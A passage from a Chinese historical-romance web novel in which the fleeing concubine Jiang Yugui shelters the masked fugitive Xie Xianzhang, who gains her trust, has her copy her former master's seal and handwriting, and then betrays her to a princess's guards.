姜于归下意识的后退半步,背抵上冰冷的土墙,声音因极度紧张而干涩发颤:“你......你是谁?我不认识你!” 逃!立刻逃!这是姜于归脑海里炸开的第一个念头。 这人太危险,来历不明,与又见面三个字捆绑在一起,更是透着无尽的诡异和恐怖。 更重要的是他说又见面,他知道她姓姜!这意味着他很可能真的认得她! 不是街边随意的难民,是冲着她来的!是敌?是友?若是追兵,为何孤身重伤至此?若是......与容璟有关的人呢? 姜于归几乎要冲向那扇破门。 可他拦在门口,唯一的出路被堵住,姜于归跑不了。 “不认识?” 面具人似乎低哼了一声,那哼声里带着一丝冰冷的讥诮,他的目光再次飞快地扫过她身上粗陋的灰布衣裙,落在她即便仓皇也难掩清丽的眉眼,以及她下意识蜷缩起来,却仍能看出纤细轮廓的脚踝。 他的视线在那处略微一顿,仿佛确认了什么。 他一字一顿,声音压得更低,却像淬毒的针,扎进姜于归的耳膜:“荣国公世子容璟,捧在心尖上的姜侧夫人,你们恩爱非常,他还为你拒了永福公主的婚,这件事情去年可是传遍盛京......即便换了这身粗布衣裳,躲在......这种地方......” 他环顾这破败的屋子,语气里的嘲讽不加掩饰:“也难掩风致啊!怎么,世子爷如今趣味变了?喜欢玩这种......金屋藏娇于陋巷的把戏?” 姜于归脸色唰的变得惨白,他不仅认识她,还清楚她的身份! 恐惧如同冰冷的潮水灭顶而来,几乎让她窒息。 不能留他! 一个疯狂的念头猛的窜入姜于归的脑海。 趁他重伤,杀了他!或者打晕他! 这个念头让姜于归手指不受控制的颤抖起来,目光下意识的瞥向墙角那根用来顶门的粗木棍。 男子仿佛看穿了姜于归眼中一闪而过的狠意与挣扎,他非但没有畏惧,反而像是看到了什么有趣的事情,面具下的嘴角似乎极轻微地勾了一下。 他忍着痛,调整了一下呼吸,声音放缓,却带着一种更蛊惑人心,也更不容拒绝的冷静。 “你想杀我?呵......你不敢,也没那个必要。” 男子语气笃定,目光如钩,直视姜于归慌乱的眼睛:“你看我这身伤,这躲藏的狼狈样......像是奉了容潜玉之命来寻你回去的人吗?” 姜于归攥紧的拳头微微松了松,混乱的脑中飞速转动。 是了,若是容璟派来的人,怎会受这么重的伤,又如此鬼祟闯入?他们大可光明正大地搜捕。 男子趁姜于归心神动摇,继续低声道,每个字都敲在她最脆弱的神经上:“你逃了,对吗?就在他生辰宴那天。” 这不是疑问,是陈述。 男子注意到姜于归瞳孔骤然收缩,知道自己猜对了。 “外面这两日风声鹤唳,青龙台和国公府的护卫明松暗紧,四处搜寻一个戴面具的逆贼......加上这两日,我在府外也察觉一些不对劲,想来他大概也在找一个不慎走失的妾室吧?只是他们大概想不到,这两条漏网之鱼,会撞到一处。” 姜于归心脏狂跳,他连青龙台都知道! 而且,他将自己的逃亡和外面的搜捕联系了起来......难道,那些声势浩大的搜寻,真的主要不是为了姜于归自己,而是为了眼前这个人? 这个念头让姜于归一直紧绷的,关于顺利得诡异的心弦,似乎被一个更合理的解释拨动了。 生辰宴未散,容璟的确丢不起立刻大肆搜捕妾室的脸,但若是以捉拿钦犯为名...... 姜于归背脊一凉,警惕的后退半步,她喉咙发紧:“你......你到底是谁?和容璟......有什么仇?为何认得我?又为何说又见面?” 面具人微微牵动了一下嘴角,那是一个没有任何笑意的,冰冷的表情。 他没有回答她的问题,反而自顾自地,带着一种近乎残忍的直白说道:“我知道你,是因为去岁,在聆音阁,被蒙着眼睛,弹《春江花月夜》......那日抚琴的,是你。后来被容潜玉接入府中,宠冠后宅,闹得满城风雨的,也是你。” 聆音阁!蒙眼弹琴! 这几个字如同烧红的烙铁,烫在姜于归的记忆上! 那段被蒙住眼睛,如同待价而沽的货物般被审视,被触碰的屈辱和恐惧,瞬间汹涌回潮,让姜于归脸色煞白,几乎站立不稳。 那个神秘,低沉,行为轻佻的贵人,竟是他? “是你!”姜于归声音发颤,充满了难以置信的惊骇与厌恶。 “是我。” 面具男坦然承认,语气里没有半分轻佻,只有一片冰冷的,事不关己的漠然。 “我姓谢,名显璋。” 他报出名字,目光却锐利地盯住姜于归的脸,不放过她任何一丝细微的反应。 谢显璋? 姜于归在脑中急速搜索,毫无印象。 这名字听起来端正,甚至有些文气,与他此刻的狼狈狠厉,与那段聆音阁的记忆,都格格不入。 姜于归低声喃喃重复着这个明细,依旧满心戒备。 而谢显璋的语速加快,带着压抑不住的愤懑与切骨痛恨,这情绪如此真实,灼烧着空气:“一个本该在都察院有一席之地,如今却只能像阴沟里的老鼠一样东躲西藏的名字,我与容潜玉,曾也算......同僚之谊,有过几分浅交,所以去岁,他才会请我去聆音阁听一曲新来的琴师弹奏。他总喜欢这样,展示他的所有物,尤其是......美丽的,不易驯服的那种。不是吗?” 姜于归心乱如麻,对上了! 容璟请他去的!他们果然认识!这解释了她长久以来的一个疑惑。 谢显璋的声音陡然拔高,又因牵扯伤口而变成压抑的咳嗽,半晌才缓过来,每一个字都淬着毒液和恨意。 “可也正是这位‘故交’!党争倾轧,他为向太子表忠心,拿我父亲在户部的陈年旧账做文章,构陷攀咬!一本奏折,我家破人亡!父亲冤死狱中,我被革职查办,海捕文书贴遍各州府!他怕我知道他太多阴私,更怕我父旧部反扑,竟派青龙台的精锐一路追杀,不死不休!我这张脸......” 谢显璋抬手,指尖几不可察的,带着刻骨恨意的拂过冰冷的银质面具边缘。 “便是拜他所赐!这面具之下,是诏狱火签留下的印记!他容潜玉要让人记住,阻碍他,或是不再有用的人,都是什么下场!” 姜于归听得浑身冰冷,指尖都在发颤。 构陷,抄家,灭口,毁容,如同跗骨之蛆般的追杀......青龙台! 这些词汇组合在一起,勾勒出的是一幅姜于归完全能想象出的,属于容璟手笔的,残酷而精准的毁灭图景。 太像了,这太像容璟会做的事了! 为达目的,不择手段,碾碎一切绊脚石。 就像他对林晏的“照顾”,对自己的“庇护”,哪一件底层不是充斥着算计与胁迫? 谢显璋的恨意如此汹涌真实,伤痕如此触目惊心,这让姜于归心底对容璟的认知得到了最残酷的印证,几乎瞬间就倾向于相信这番血泪控诉。 “那你......为何会在这里?还受这么重的伤?”姜于归听到自己干涩的声音问。 谢显璋冷笑一声,那笑声短促而虚弱,却带着洞悉一切的嘲讽:“为何?自然是因为他容潜玉,连一条生路都不愿给我,他不知从哪里得了风声,疑心我潜回了盛京,昨日......或许该说前夜,他生辰宴的同时,全城的暗哨和府卫,至少有一半被调动起来,可不是仅仅为了捉拿一只逃离金丝笼的雀鸟。” 谢显璋目光如冰锥,刺向姜于归:“那更像是一张早就张好的,用来逮我的网,你逃出府,或许是意外,但搅动了这潭水,让我藏身之处暴露,却未必是意外,他惯会一石二鸟,借题发挥。你我如今,不过是先后撞进同一张网里的猎物罢了。” 姜于归的心猛地一沉。 是了!她之前那隐隐的,关于过于顺利和后来声势浩大之间的疑惑,似乎在这一刻有了一种扭曲的解释。 难道......那些如狼似虎的搜捕,真的主要是针对谢显璋?而她,不过是阴差阳错,在错误的时间,逃到了错误的地点,险些被殃及池鱼? 这个想法,让姜于归后怕之余,竟生出一丝荒谬的庆幸。 如果追兵的目标主要不是她,那是否意味着......容璟还没发现她已经逃到了这里?或者,还没把她当作最优先的目标? 谢贤侄继续开口,语气带着诱哄与胁迫:“我如今是朝廷海捕文书上的逆犯,罪名是他亲手罗织,他毁我前程,害我家族,我恨不得食其肉寝其皮!而你......姜夫人,你逃出来,不也是恨极了他,怕极了他吗?” 谢贤侄紧紧盯着姜于归:“救我一命,藏我几日。作为交换,我可以告诉你一些,他绝不想让你知道的事。甚至或许......能给你指一条,他暂时够不到的......生路。” 他喘息加剧,脸色在昏暗光线下更显惨淡,但眼神却亮得骇人,充满了孤注一掷的疯狂与算计:“否则......我若死在这里,或者被他们搜到,你以为你还能躲多久?我的尸体,就是指向你藏身之地最清晰的路标!帮我,就是帮你自己。敌人的敌人......至少眼下,可以是盟友。” 姜于归站在原地,浑身冰冷,脑海中两个念头激烈厮杀。 一个声音尖叫着危险,让她立刻远离这个满身秘密与仇恨的男人。 另一个声音却在绝望的低语,他说得对,容璟的敌人,或许是她唯一能抓住的浮木......何况,他已将她视为同谋。 谢显璋看出姜于归眼中的震动与逐渐加深的相信,知道火候已到。 他身体晃了晃,失血带来的眩晕让他必须速战速决。 看着地上越来越大的血泊,和他逐渐涣散却仍死死盯着她的眼神,姜于归知道,自己已经没有选择。 她闭了闭眼,再睁开时,里面只剩下一种破釜沉舟的冰冷。 姜于归对着吓呆了的禾苗低喝:“去打盆清水,快!” 自己上前去,把谢显璋扶进了屋子,随后颤抖着手,撕开谢显璋伤口附近与血肉黏连的衣物。 103. 第 103 章 谢显璋在她靠近时,身体几不可察地放松了一丝,那是一种猎物踏入陷阱时的,冰冷的松弛。 他任由她动作,面具后的目光,越过她低垂的发顶,投向窗外沉沉的夜色,眼底深处掠过一丝一切尽在掌握的,幽暗的寒芒。 姜于归看着谢显璋肋下狰狞翻卷的伤口,倒抽一口冷气。 那绝不仅仅是皮肉伤,边缘泛着不祥的青黑色,显然是带毒的兵器所致。 姜于归强忍着恶心和恐惧,用禾苗打来的清水,一点点清洗掉周围的污血和腐肉。 谢显璋疼得浑身肌肉紧绷,额角冷汗涔涔,却硬是咬着牙没发出一声痛哼,只有面具下急促的呼吸泄露了他的痛苦。 “伤口太深,又带了毒,光清洗不行,需要金疮药,还有解毒散。” 姜于归声音发紧,看向禾苗:“家里的药是给婆婆治咳喘的,不对症。” 禾苗小脸发白,点点头。 姜于归快速思考,语速急促地叮嘱禾苗:“必须要重新买药,不能去常去的药铺,你拿着钱,多走几个地方。先去城东的济仁堂买最普通的止血粉,再去南城的回春馆问问有没有治犬咬伤的解毒膏,最后绕到西市,找个游方的郎中,买点干净的麻布和烈酒。记住,分开买,别在一个地方买齐,付钱时别多话,买了就走,路上多绕几个弯,留心有没有人跟着。” 禾苗用力点头,将姜于归给的碎银子和铜板仔细揣好,像只灵巧的猫儿般钻出了门。 屋内只剩下压抑的喘息声,谢显璋靠在墙角,面具后的目光追随着禾苗消失的方向,眼底掠过一丝极淡的,近乎欣赏的微光。 这女人的警惕和细致,超乎他之前的预料。 姜于归没有被突如其来的盟友冲昏头脑,反而本能的规避着一切可能的风险节点。 这种在绝境中依然能保持缜密思维的特质,让他心底那股扭曲的征服欲和......一丝极其隐晦的复杂情绪,再次翻涌。 接下来几日,在禾苗买回的药物,和姜于归笨拙却尽心的照料下,谢显璋的伤势竟真的稳定下来,高热渐退,他身体情况大为好转。 谢显璋话很少,大部分时间只是沉默地倚墙坐着,目光透过破窗,望着外面一线狭窄灰暗的天空,不知在想什么。 但偶尔,他会做一些看似微不足道,却悄然瓦解姜于归心防的事。 比如,他会将禾苗悄悄省下来,放在他手边的那半个粗面馍馍,推回给眼巴巴看着的禾苗。 比如,在姜于归夜里警觉的聆听外面动静时,他会用依旧沙哑但平稳许多的声音说:“你睡会儿,我听着。” 再比如,有一次禾苗的婆婆咳得厉害,痰堵在喉间喘不上气,姜于归和禾苗慌作一团时,是谢显璋示意她们将老人扶起,以一种奇特的手法在老人背上拍按了几下,竟让老人吐出了浓痰,缓过气来。 谢显璋做完便收回手,淡淡道:“久病成医,些许旁门左道罢了。” 这些细小的举动,在这个朝不保夕的冰冷环境里,像一点点微弱的炭火,让姜于归紧绷的神经,在不知不觉中松懈了一线。 她开始觉得,这个谢显璋,或许真的和容璟那种骨子里透出阴冷算计的人不同。 他的恨意炽烈而直接,他的沉默里似乎藏着一种属于落难者的尊严,甚至......还有一丝未泯的良善。 这让姜于归在审视谢显璋时,眼中不自觉地带上了几分复杂的同情与探究。 这日傍晚,谢显璋的精神似乎好了不少。 他主动开口,声音比前两日清晰有力了些,问的却是一个让姜于归指尖微颤的问题:“你的脚......还疼吗?” 姜于归正就着最后一点天光缝补禾苗破了的衣袖,闻言手一抖,针尖扎进了指腹。 她不动声色地将手指含进口中,垂下眼睫,含糊道:“还好。” “那金铃,戴着很累吧。” 谢显璋的语气平淡,却像一把冰冷的钥匙,猝不及防地打开了姜于归努力封存的屈辱记忆。 “容潜玉就喜欢这样,给他看重的东西打上标记,听着铃响,确认所有权。” 说罢,谢显璋嗤笑一声,那笑声里没有温度,只有深刻的鄙夷与一种同病相怜的苍凉。 “幼稚,且毫无新意,他对待一切,都是如此,有用的,便标记,掌控。无用的,或碍事的,便清除,毁掉。” 这话精准地戳中了姜于归的痛处,也奇异的让她在他冷硬的语气里,捕捉到了一丝深切的共鸣。 那是对同一种压迫者的深刻认知。 她没有接话,但紧绷的肩背几不可察地松弛了一线。 谢显璋似乎也不在意她的沉默,目光转向窗外那片被高墙切割得支离破碎的灰暗天空,仿佛在自言自语,又像是在对她说:“这两日,外面搜捕的动静,好像往城西和码头方向去了。许是他觉着,你我或许已经设法混出城了。” 姜于归抬起头,眼中燃起一丝微弱的,如星火般的希望:“真的?那我们......” “未必是好事。” 谢显璋打断她,声音低沉下来,带着一种洞悉世情的残酷:“也可能是他知道我们在城里,故意放松某一处,好让我们自己按捺不住,主动往他张好的另一张网里撞,猫捉老鼠,从不急于一口咬死。” 姜于归眼中的火光瞬间熄灭,重新被沉重的疲惫覆盖。 是啊,她怎么能奢望容璟会轻易放过。 姜于归的声音里透出无力,这狭窄的陋室仿佛正在一日日缩紧,变成另一个看不见的囚笼:“那......我们就这样一直躲下去吗?” 谢显璋沉默了许久,久到姜于归以为他不会再回答。 他才缓缓转回头,面具后的眼睛在昏暗中显得格外幽深,那里面翻涌着姜于归看不懂的复杂情绪。 有仇恨的余烬,有孤注一掷的决绝,还有一丝近乎迷茫的挣扎。 “一直躲,不是办法。你的银钱会耗尽,这孩子的婆婆病需要长期用药,我们两个大活人,粮食消耗也不小。更别说我这伤,需要更好的药才能根除,否则一旦复发,便是死路一条。” 谢显璋陈述着冰冷的事实,每一个字都敲在现实的骨架上。 姜于归感到一阵窒息般的绝望:“那......我们能怎么办?” 谢显璋又沉默了片刻,像是在进行激烈的思想斗争。 最终,他仿佛下定了某种决心,声音压得更低,几乎化作气音,却带着一种奇异的,诱人深入的力量。 “容潜玉的敌人,不止我一个,这盛京城里,恨他入骨,且有能力与他抗衡的,也大有人在。” 姜于归心头猛的一跳,一个名字几乎要脱口而出,但她死死忍住了,只是屏住呼吸看着他。 如今容璟已经成为东宫的势力,那么能与东宫抗衡,恨他入骨之人,自然就是睿王永嘉一派。 谢显璋没有直接说出那个名字,但他的目光仿佛已经说明了一切。 他继续用那种低缓而充满暗示的语调说道:“我父亲昔年在都察院时,曾与某些贵人......有过些许公务上的往来,虽然后来家道中落,情分早淡,但如今我与他们,至少有一个共同的敌人。” 谢显璋顿了顿,仔细观察着姜于归脸上的每一丝变化:“前几日我伤势稍轻时,曾试着通过极其隐秘的渠道,递出过一点风声,不是求援,只是表明,我还活着,而且,手里可能还有点他们感兴趣的东西,关于容潜玉如何为太子党清除异己,罗织罪名的一些......不那么光彩的旧账细节。” 姜于归的心脏狂跳起来,她听懂了他的暗示!是睿王!永嘉公主! 她听到自己的声音在发颤,不知是恐惧还是激动:“那他们......有回应吗?” 谢显璋摇了摇头,面具下的嘴角似乎扯出一个苦涩的弧度:“哪有那么容易,他们那样的人,疑心最重,我如今是丧家之犬,戴罪之身,空口白牙,凭什么取信于人?除非......” 姜于归急忙追问:“除非什么?” “除非,我能拿出更有力的投名状,或者......带给他们一个意想不到的——礼物。” 谢显璋的目光,似有意似无意的落在了姜于归身上。 那目光不再仅仅是审视,更像是在评估一件物品在特定天平上的重量。 姜于归瞬间读懂了他未尽的言外之意,一股寒意从脚底直窜头顶,让她浑身发冷。 她就是他口中那个意想不到的礼物! 一个从荣国公世子身边叛逃,掌握内情,且与他有深仇的侧夫人,对容璟的政敌而言,其打击价值和羞辱效果,远比几份旧账目要大得多! 姜于归的声音干涩无比,带着被利用的尖锐痛感:“你......你想用我,去换取他们的信任和庇护?” “不是用。” 谢显璋立刻纠正,他的语气变得急切,甚至带上了一丝难得的,近乎恳切的人情味。 “是合作!是各取所需!姜姑娘,你想想,单凭你我,在这盛京就像两只随时会被踩死的蚂蚁!但如果我们能借助他们的力量呢?他们需要你和我来打击容潜玉,我们需要他们的庇护来活下去,甚至......看到仇人倒台的那一天!” 谢显璋身体前倾,因激动而牵扯到伤口,闷哼一声,缓了缓才继续低声道,话语里充满了蛊惑:“我知道这危险,与虎谋皮!永嘉公主的狠毒名声,永福公主对你的嫉妒!你比我更清楚,但这可能是我们唯一的生路,也是唯一可能挣脱他,甚至......向他复仇的机会!留在这里,只有慢慢枯竭,或者被他找到,那下场......” 谢显璋没有说完,但姜于归已经能想象到。 她仿佛被逼到了悬崖边上,前后都是深渊。 一边是已知的,绝望的囚禁或死亡,另一边是未知的,可能通往自由与复仇,也可能直通地狱的险径。 谢显璋不再说话,只是用那双隐藏在面具后的,燃烧着仇恨与求生欲的眼睛,死死地盯着她。 陋室里死一般的寂静,只有油灯偶尔爆出灯花的噼啪声,和禾苗婆婆沉睡中含糊的呓语。 姜于归瘫坐在冰冷的泥地上,脑海里两个声音在疯狂厮杀。 理智尖叫着危险,警告她这无异于自投罗网,而那个被仇恨与绝望滋养出的魔鬼,却在低声诱惑,描绘着复仇的火焰与自由的微光。 夜色,如同浓稠的墨,彻底吞没了这间破屋,也将姜于归惨白的脸和眼中剧烈挣扎的光芒,一同淹没了。 谢显璋将她眼中剧烈的挣扎看得分明。 他知道,火候到了,只差最后一点看似理智的砝码,就能将她的恐惧和侥幸彻底推向天平的另一端。 谢显璋没有像失败者般泄气退缩,反而用一种更冷静,更富逻辑的方式,向前逼近了一步。 “我知道你在怕什么。” 他声音压得极低,却字字清晰,如同凿子敲在冰面上:“怕我把你卖了,怕我把你当投名状,直接送到永嘉公主面前,换取我自己的前程和复仇,对吗?” 姜于归猛的抬眸,眼中警惕的光芒证实了他的猜测。 谢显璋轻轻哼了一声,那声音里没有气恼,反而带着一种洞悉世情的,近乎残酷的坦诚。 他语速放慢,每个字都带着沉甸甸的分量:“如果我真存了那样的心思,我现在就不会坐在这里,把这一切掰开揉碎说给你听。我只需要继续扮演一个可靠的,同病相怜的盟友,获取你更多的信任,然后,在某一天,找一个看似合理的借口,比如说找到了更安全的藏身处,或者说有重要的人想暗中见你一面,事关能否离京,轻而易举就能把你带出这里。” 说到这里,谢显璋顿了顿,面具后的目光锐利的刺向姜于归:“甚至,以我现在的力气,趁你不备,将你打晕带走,也并非完全做不到,把你直接扔到永嘉公主府的角门外,岂不是更干净利落?何苦在这里与你费尽唇舌,还把自己复仇的底牌和计划全盘托出,平白让你生了戒心,增加了后续行动的难度?” 这番话说得冷酷而现实,像一把手术刀,剖开了出卖这件事最直接,最有效的方式。 姜于归被谢显璋话语中描绘的那种,轻易就能实现的背叛方式惊得后背发凉,但随即,一股更复杂的思绪涌了上来。 他说得......有道理。 如果谢显璋真想出卖她,他现在做的这一切,无疑是愚蠢的。 他正在做的,反而是将出卖这个选项的风险和可能性,赤裸裸的摊开在姜于归面前,让她警惕。 这不像是一个算计者的行为,更像是一个......走投无路,被迫寻求合作,却又不得不坦诚潜在风险的被迫同盟? 姜于归声音干涩,带着残余的颤抖:“那你......为何要说出来?” “因为我不想骗你。” 谢显璋的回答很快,带着一种孤注一掷的直白:“也因为我需要你自愿的合作,而不是一个心怀怨恨,随时可能反咬一口的囚徒,这件事风险太大,一步踏错,你我皆是万劫不复,若你不能心甘情愿,稍有犹豫差池,不仅你会死,我也会被拖入地狱。把最坏的可能摆在台面上,要么我们一起转身离开这个念头,继续在这里等死,要么......我们就看清这地狱的模样,然后,一起想办法,看看能不能找到一条缝钻过去。” 谢显璋身体微微前倾,尽管伤口让他这个动作显得艰难,但那姿态却充满了迫人的压力:“姜姑娘,我不是在给你描绘一条康庄大道,我是在指给你看,眼前只有两条路。一条是坐在这里,等着被容璟找到,或者饿死病死,另一条,是前方一片弥漫着毒雾,潜伏着猛兽的沼泽。第二条路,九死一生。但第一条路,十死无生。” 面对咬着嘴唇依旧沉默的姜于归,谢显璋继续道:“而我提议的,不是让你独自走进沼泽,是我先去探路,去斡旋,去接触那些虎狼,尽量在沼泽边上,为我们争取一块稍微干燥点的立足之地,谈好条件,弄清楚代价。我只是告诉他们,我手里有容璟在意的人,而你不需要立刻现身,你可以一直藏在这里,直到我确认,那条路至少有一丝走过的可能,而不是直接通向陷阱。届时,选择权依然在你。” 姜于归沉默着,心跳如擂鼓。 谢显璋的话,像是一环套一环的锁链,将她紧紧捆住。 他指出了立刻出卖的愚蠢,这消除了姜于归最大的即时恐惧,他强调了自愿合作的必要性,这听起来合理且似乎给了她某种掌控感。 他将选择权后置,承诺由他去面对最初的险恶......这一切,都巧妙的迎合了姜于归既极度渴望出路,又恐惧直接风险的矛盾心理。 姜于归无法完全相信谢显璋,他那份过于坦诚的背后,总让姜于归觉得有一丝说不出的怪异,那燃烧的仇恨之下,眼神似乎太过冷静。 可是,正如谢显璋所说,她还有别的选择吗? 留在这里,只是慢性死亡。 银钱会耗尽,禾苗一家会被拖垮,容璟的网迟早会收拢。 谢显璋的出现,就像绝望深井里垂下的一根荆棘藤蔓,明知抓住会刺得满手是血,可井底的人,除了拼命抓住,还能如何? 七分信,三分疑。 姜于归相信谢显璋恨容璟是真的,信他目前的困境和自己相似,信他提出的合作探路,是目前能看到的最具操作性的方案。 她疑的是谢显璋未来的举动,疑的是那虎狼是否可控,疑的是这份同盟,在真正的利益或危险面前,是否脆弱不堪。 但这点疑虑,在压倒性的求生欲和复仇渴望面前,显得如此微不足道。 姜于归仿佛一个濒死的溺水者,明知救生艇可能破洞,也只得先爬上去再说。 许久,姜于归听到自己沙哑的声音响起,她还是没有直接答应,却已是默许和询问。 “你打算......怎么做?” 谢显璋面具后的眸光几不可察的闪动了一下,那里面没有得逞的喜悦,只有一片深不见底的幽暗平静。 他知道,鱼儿终于谨慎地,试探性的咬住了钩。 谢显璋冷静的开始布置,仿佛早已成竹在胸:“首先,我需要一个信物,或者一句只有你能说出,容璟也必定知道的话,不需要涉及核心机密,但必须足以向对方证明,我确实与你取得了联系,这是取信的敲门砖。” 姜于归陷入沉默,脑中不断回忆有什么东西,可以成为一个取信的证物,这次她逃得匆忙,很多东西都没有带上,身上的钱还是上次在南城的屋子拿的,她能有什么东西可以证明呢? 而谢显璋见此,沉吟片刻后道:“我记得......容潜玉有一方鸡血石小印,刻着‘潜玉清赏’四字,他甚爱之,多用于藏书与私信,你可见过?能否摹出印文?” 姜于归心头一震。 她确实见过!去岁秋日,容璟得了一幅前朝古画,欣喜之下,便是取出那方小印印于卷侧。 当时他还执了姜于归的手,一同按下...... 那段虚假温存里的细节,此刻化为刺骨的冰针。 “我见过,可以试着画出印文样式。”姜于归听见自己干涩的回答。 谢显璋听闻后点了点头,又道出一个细节。 “很好,还有,他批阅公文时,写知道了三字,最后一笔习惯性带出一个极小的折钩,状如鹰喙,你可能模仿?” 谢显璋对容璟的习惯确实很清楚,姜于归闭上双眼回忆起过往,指甲掐进掌心,眼前浮现出容璟执笔时清瘦有力的指节,和笔下那些看似随意却暗藏风骨的批注。 是了,她为他磨墨时,那特有的笔锋,她看过无数次...... 这些曾被忽视的细节,竟成了今日的筹码,而她书法不错,容璟的字迹,她自然可以模仿。 姜于归再次睁开眼,里面已是一片冰冷的决绝:“能!” 谢显璋再次满意的点了点:“就这两样,摹画印文,仿写三五个可字于一张寻常纸笺上,不必多,足够辨识即可。我会告诉他们,这是你为取信于我,不得不付出的诚意,也证明你确有接触他核心私务的渠道。东西给我后,你依旧藏身此处,绝不可外出。我去联络周旋。期间我会设法递消息回来,但未必频繁,以免暴露此地。你需耐心等待。若......若我十日内毫无音讯,或你察觉此地已不安全,便立刻带着那孩子一家转移,忘掉这一切,另寻生路。明白吗?” 姜于归重重的点了点头,七分信,三分疑,混杂着孤注一掷的决绝,在她胸腔里灼烧。 她没有更好的选择,只能抓住这根不知是救命绳还是绞索的荆棘藤蔓。 谢显璋不再多言,只深深看了她一眼,那目光在摇曳的微弱灯火下,复杂难明。 他重新靠回墙角阴影里,仿佛耗尽了力气,开始闭目养神,将无边无际的等待与煎熬,留给了心潮翻涌的姜于归。 沉默许久之后,谢显璋再次开口,语气里竟带上了一丝罕见的,近乎替她考量的凝重。 “姜姑娘,无论此事成与不成,无论你我是能远走高飞,还是......不幸再次落入他手,届时你都需咬死一点,你不是自愿逃离公国府的,而是被容璟的政敌谢显璋挟持了。” 姜于归听闻此话猛的抬眼,愕然看向他。 谢显璋迎着她的目光,冷静分析,仿佛在教她一道保命符:“理由很简单,你若被容璟找回去,按照他的性子,你主动逃跑与被人挟持,在他那里的罪责和下场,天壤之别。前者是背叛,他容潜玉眼里揉不得沙子,你会生不如死。后者......至少,你是个不幸的受害者。他或许震怒,或许惩罚,但至少,清理门户的念头会轻很多。甚至,为了掩盖府中侧夫人轻易被外敌挟持的丑闻,他可能反而需要帮你圆这个谎。” 说道这里,谢显璋顿了一下,意味深长的补充了一句:“这是我为你留的退路,也是为我自己。你若一口咬定是被我胁迫,那么即便事败,他追查我的力度或许也会有所不同,至少不会将全部怒火倾泻在你身上,让我良心稍安。” 这番话像是一道复杂的枷锁,既给了姜于归一丝虚幻的安全感,又将她更深的绑上了谢显璋的贼船。 姜于归心乱如麻,觉得这算计冰冷又残酷,可偏偏在绝境中,显得那么合理且必要。 她下意识的点了点头,将这退路死死记在心里,姜于归的信任度因这份周全而暗中全面提升。 谢显璋离开后的第一日,姜于归在死寂的破屋里,熬过了仿佛被拉长碾碎的光阴。 希望与怀疑如同两把钝锯,来回拉扯着姜于归紧绷的神经。 她不能坐以待毙,怀疑必须化为实在的验证。 姜于归叫来禾苗,将一一些碎银塞进那双小而粗糙的手里,声音压得极低,每个字都淬着冰:“去衙门口的告示栏,或者码头苦力聚集的茶棚,听听......有没有人议论一个叫谢显璋的犯官,脸上带伤的。只看,只听,别问,别露痕迹。” 禾苗瞪大了双眼听着姜于归说完,认真的点了点头,捏紧银子,随后像只受惊的小鼠再次溜入外面的危险世界。 等待的焦灼啃噬着理智,姜于归强迫自己动起来。 她找来半块残砖,用烧黑的木炭,在砖面上反复描摹那方潜玉清赏印。 画了又抹,抹了又画,并非为了记忆,而是在寻找自己手下无意识留下的,独一无二的笔触特征。 最终,她在印文“清”字右下方那一点的回锋处,留下一个极其微妙的,几乎无法察觉的顿挫。 这是她为自己埋下的暗记,一个只有她知道的,验证真伪的密码。 夜深人静,她睁着眼,在脑海中冰冷地推演。 倘若谢显璋背叛,他会怎么做?姜于归的指尖在冰冷的炕沿上无声勾画,将附近街巷的走向拆解又重组。 她开始清点身边所有能称为武器的东西,顶门的粗棍,掂量其重量与挥动的角度,灶膛边那片边缘锋利的碎瓦,用旧布缠好柄部,发间那根已悄悄磨尖的银簪,冰冷地贴着发根。 姜于归对禾苗的嘱咐,具体到令人心头发寒:“禾苗,记牢。若有生人敲门,无论说什么,你立刻从炕后那个破洞钻出去,直奔李记棺材铺后面的乱坟岗,躲在那块刻着无名氏的断碑后面。听到任何动静,哪怕是我喊你,都别出来。” 说完,姜于归将两个硬邦邦的粗面饼塞进禾苗怀里:“藏好,保命用。” 姜于归把自己绷成一根即将断裂的弦,所有防备都指向暴力与直接的出卖。 绳索,棍棒,突然的围捕,她计算着谢显璋可能的武力,预估着自己能抵抗多久,如何在被制服前,用那根银簪或碎瓦给自己一个痛快。 谢显璋在第四日黄昏归来,依旧面具遮脸,衣衫下摆沾着新鲜的泥点,气息有些不稳,但那双露出的眼睛里,却有一种奇异的亮光,混合着疲惫与一种压抑的亢奋。 他面具下的眼睛亮得惊人,语气急促却带着不容置疑的笃定:“机会来了!今夜丑时,西水门有一批漕船卸货后空返,押运的管事早年欠我父亲一个天大的人情,他答应将我们藏在底舱夹层里,直放通州,只要出了京畿,水路四通八达,容璟便再难寻觅!我先送你出城,也算是还你救命之恩了。” 出城!水路!姜于归心脏狂跳起来:“可靠吗?会不会是陷阱?” “富贵险中求!” 谢显璋斩钉截铁,眼中是破釜沉舟的狠绝:“那管事的身家性命都捏在我手里一份旧契上,他不敢反水!这是唯一能避开所有陆路关卡盘查的路子!但我们必须立刻动身,赶在漕船封舱前混进去。衣物和藏身之处他已安排妥当,我们只需准时抵达码头外围的第三座废弃望楼,他自会派人来接应。” 这计划听起来周密而冒险,却正符合绝境中一线生机的模样。 谢显璋的急切和孤注一掷的神情,再次压倒了姜于归心中最后那点疑虑。 姜于归想起谢贤侄分析的容璟网已收紧,想起禾苗昨日回来时说的巷口多了生面孔,恐惧催促着她做出决定。 姜于归抓起早就准备好的小包袱,里面只有最必需的物品和剩余银钱:“好!出城!” 夜色掩护下,两人如同鬼魅,专挑最阴暗潮湿的路径,向城西码头潜行。 越靠近码头,空气中河水的腥气与货物堆积的复杂气味愈发浓重,灯火也零星亮起。谢显璋对路径异常熟悉,总能避开巡更和酒肆喧嚣之处。 终于,他们看到了远处河面上黑黢黢的船影和岸边那座歪斜的废弃望楼。 望楼孤立在堆场边缘,四周堆着破旧的麻袋和烂木头,寂静无声。 “就是这里,接应的人应该到了。” 谢显璋低声道,率先推开虚掩的,吱呀作响的破木门。 楼内一片漆黑,充斥着灰尘和霉味,姜于归跟着踏入,心中那丝不安却陡然放大。 太安静了。 “谢......”她刚想开口询问。 突然,身后破门被猛地关上!同时,望楼角落和上方原本看似废墟的地方,骤然亮起数支火把!十几个身着公主府侍卫服色,手持兵刃的壮汉显出身形,将两人团团围住,堵死了所有去路。 为首的是一个面容刻薄,眼神阴鸷的嬷嬷。 那嬷嬷目光如毒钩,先是在谢显璋身上一扫,微微颔首,随即牢牢锁定了惊骇失色的姜于归,嘴角咧开一个森冷的笑:“果然是容世子身边的侧夫人,谢先生,辛苦了,公主殿下对你的诚意非常满意。” 姜于归听闻此话如遭雷击,猛的转向谢显璋! 只见谢显璋在她惊怒绝望的目光中,后退了一步,拉开了与她的距离。 